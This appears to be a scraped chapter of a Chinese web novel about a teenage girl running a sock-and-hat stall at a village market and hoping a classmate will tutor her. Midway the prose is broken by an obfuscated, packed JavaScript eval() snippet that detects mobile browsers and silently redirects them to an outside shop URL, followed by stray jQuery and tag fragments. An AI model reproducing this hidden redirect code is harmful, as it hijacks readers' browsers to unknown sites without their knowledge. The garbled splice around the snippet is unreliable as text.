杨文箐沉浸在自己的情绪里,半天没回过神。
直到,赵晓勇的手伸到她眼前,还晃了两晃,“哎,你怎么啦?傻了吗?”
当然,也立马得到了杨文励强烈的反驳:“你说谁呢,你才傻了呢。”
杨文箐谁都没理,只推起自行车往集市内走去。
心脏也依旧跳得仿若鼓擂。
但她也清楚,自己眼下的状态很不对劲——连赵晓勇那个“傻子”都瞧出异样来了。所以她必须独自静一静,至少在见到江时安前,无论如何也得把心态调整过来。
而赵晓勇见她竟然先走了,也连忙和杨文励一前一后追了上来。
刚一追上,他就又抱怨道:“你知道地方吗就走,还走得这么快。”
杨文箐原本实在不想跟他说话,但一时半会儿又想不出别的办法调整心态,想起昨天两人说起的去派出所报案的事,便打算先拿这件事来岔开话题:“对了,我都差点忘了问你,你们昨天去派出所报案了吗?”
赵晓勇一怔,显然没想到她突然把话头扯到那儿去,但还是如实回答:“报了啊,原本江时安说我俩去就行,结果他二叔不放心,就也跟着一起去了。”
“那结果呢?警察那边怎么说?”杨文箐又问道。
“能怎么说?”赵晓勇说道:“就说下次逢集时会去安庄,让我们到时候配合抓捕。”
“啊?”这倒让杨文箐有些意外,“还需要配合抓捕吗?”
赵晓勇说:“反正警察是这么说的,到时候……再看呗,就算咱们不去,难道他们就不抓人了吗?不想配合就不配合呗。”
而这时,他们也逐渐步入了主街道。
由于时间尚早,街上真正的行人寥寥无几,大部分都是前来摆摊的摊贩,几乎已经把主街道的两旁都占满了。
有不少甚至已经摆好了货品,都坐在摊位后就静等着营业了。
见此,杨文励也不禁感慨:“啊,原来人家都来得这么早啊,难怪咱们昨天占不到好位子。”
杨文箐也只能苦笑。
尤其想到昨天起床和今天出门时,杨国强的那句叮嘱:“别着急,晚不了,路上小心点,卖不卖货都无所谓,安全第一。”
她能说是杨国强的“宠溺”误导了他们吗?
赵晓勇也终于逮住机会顺势嘲笑二人道:“那肯定了,像你们这样七点半都到不了集市的,还想占好位子?简直做梦!”
全然不提他自己昨天也因为起不来床,差点被江时安勒令以后不准再跟来。
说话间,几人也看到了江时安,就坐在前方一处摊位前,身旁还跟着个小男孩,正帮忙把袋子里的面具往摊位上摆。
“江时安。”赵晓勇隔老远便喊了一嗓子。
闻言江时安抬起头,而当看到他那张俊秀而又温和的脸时,杨文箐之前刚调整过来的心态,瞬间就又有了要崩塌的趋势。
握自行车把的手指也一下收紧了,还极不自然地拖了拖身后的书包。
好在江时安并未留意到她这些略显局促的小动作,只是笑了笑,指着自己身旁的一处空摊位说:“今天来得早,就顺便给你们也占了个位子,你们就在这里摆吧。”
他说得一脸云淡风轻、理所当然的样子,倒显得杨文箐之前的想法有些多余了。
“谢谢!”她只得点了点头,随即也开始忙活着摆摊。
相比起江时安摊位上的面具,杨文箐这边的帽子和袜子显然更为好摆一些,毕竟没那么多分类,只大概往油布上一堆——就算他们想像面具那样,分门别类地摞成一摞,因为花样太多,等顾客挑选的时候,也照样会弄乱。
所以不管是杨文箐,还是以前的杨国强,都是这样卖的,也从来没觉得有什么不妥。
江时安却在看到她和杨文励,攥着蛇皮袋的底部,把所有帽子和袜子往外一倒,再往油布上一摊时,笑着说道:“我提个不成熟的建议行吗?”
杨文箐一愣,赶忙点头:“可以啊,你有什么意见尽管提。”
江时安指着摊子上堆成一堆的袜子说:“你这样摆,其实很容易给人一种非常廉价的感觉。就像堆在地上的菜,虽然看起来很多,但很难卖到比较高的价钱。”
而这一句,也仿若暗夜明灯,让杨文箐顿觉醍醐灌顶。
对呀,在她的印象里,不管商超还是普通的门店,稍微贵一些的商品,哪一个不是精心地包装好,放置在单独的位置?也只有一些需要打折处理的货品,才会堆成一堆,为就是给人一种量大便宜的视觉冲击。
而她之所以这样摆放,其实也是受了前世生活的影响。
毕竟到了二十一世纪,国人的生活水平已经大幅提升,像袜子和帽子这类生活必需品几乎随处可见,除了极少数奢侈品牌外,价格也相差不多,本就不算什么值钱的物件,这样堆成一堆卖倒也无可厚非。
但在眼下却不一样,由于生产力低下导致物资匮乏,袜子和帽子虽作为生活必需品,价格却并不低。就比如杨国强进的这些尼龙袜,一双的进货价都在一块钱左右,有的甚至还一块二三,比起蔬菜瓜果等农产品之类的其他生活必需品,价格更是高出了一大截。
要知道,这个年代普通农村人一年的收入,也就两三百块钱左右,仅一双袜子就占了收入的百分之一甚至百分之二,那再看这些袜子,是不是就值得被更好地对待?
“你说得对,我确实不该这么摆。”杨文箐知错就改,立刻就想到了正确的摆放方法。
她先是照着进价单上,对袜子和帽子进行了分类,然后再根据价钱和花色将它们大致摞放起来,把那些价格稍高,花样也更漂亮的摆放在最显眼的位置,稍差一些的则放在略微偏侧的地方。最后再将价格最低、颜色和花样都不太好的货品在旁边堆成一堆,打算一会儿写个打折处理的牌子。
一切都弄好后,她拍了拍手,身旁也不意外传来了江时安的夸赞:“厉害!”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17706548|206462||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
/p>
杨文箐回头冲他一笑:“也多谢你的指点。”
江时安笑着点了点头,随即看向一旁的赵晓勇,心里顿时又涌起一股无力感——尤其是赵晓勇这会儿还咧着个大嘴在那儿傻笑,也不知道他在笑些什么。
他冲赵晓勇说道:“你能不能也机灵点?你要有阿……人家一半的聪明劲,我就不用这么累了。”
赵晓勇指了指自己,显然不认同他的说法:“我怎么了?我哪里不机灵了?你说的那件事我没办好?”
江时安翻了个白眼,显然都懒得说他。
他只言简意赅地下命令:“去,把我二叔摊子上的那些葫芦娃面具,全都拿到我这儿来。”
“为什么?”赵晓勇问:“都拿你这儿来,你二叔卖什么?”
江时安是真的有些无奈了,只能说道:“我让你去你就去,别那么多废话。”
“这哪是废话?”赵晓勇明显不服,“我不得问明白么?”
杨文箐这时候说道:“他应该是想只在他这边卖吧?毕竟整个集市也就只有你们两个卖面具的摊子,如果两边都有同一种货,就不好提价了,只能卖一样的价钱,不然另一个摊子的货肯定卖不出去。”
听到这番话的江时安:“……”
他看向杨文箐的眼睛里都快冒出星星了。
再瞧瞧赵晓勇——
他第一次真切地感受到,有时候人和人之间的差距,简直比人和狗还要大。
“明白了吗?”江时安没好气地对赵晓勇说:“现在可以去了吗?”
“那……那你早说啊。”赵晓勇却依旧不服气,“你要是像她一样早跟我说明白,我不就懂了吗?”
江时安被他气笑了:“照你这么说,倒是我的错了?”
“可不本来就是你的错?”或许是怕再狡辩下去江时安会翻脸,赵晓勇说完这句话后,撒腿就跑开了,只是边往江瑞泽那边走,还边在嘀咕:“呵,这会儿又瞧不上我了。看人家杨文箐哪儿都好是吧?难怪人家说有些人有了女人就不要兄弟,现在一看还真是,什么人啊……”
他的吐槽,杨文箐和江时安自然无从知晓,摆完货后,趁着还没多少人,杨文箐便偷偷拿过书包,然后悄悄把里面的卷子往外拉了拉——
没办法,谁让天大地大,学习最大呢。
她不想连高中都考不上,也不想跟王美娟说的,早早嫁人,然后围着男人和灶台过一辈子,那就只能动点小心思。
但或许是太紧张了,她原本是想装作复习,等江时安问起时,再委婉地请他帮忙辅导——却没料到可能是用力过猛,才轻轻一拉,那一整摞卷子竟然全掉在了地上。
“啪”的一声!
江时安自然被惊得回过头。
当然也看到了那一大摞上面画满大红叉,总分却没有一张能超过60分的试卷。
杨文箐:“……”
她猛地倒吸了一口凉气,然后一把捂住了脸。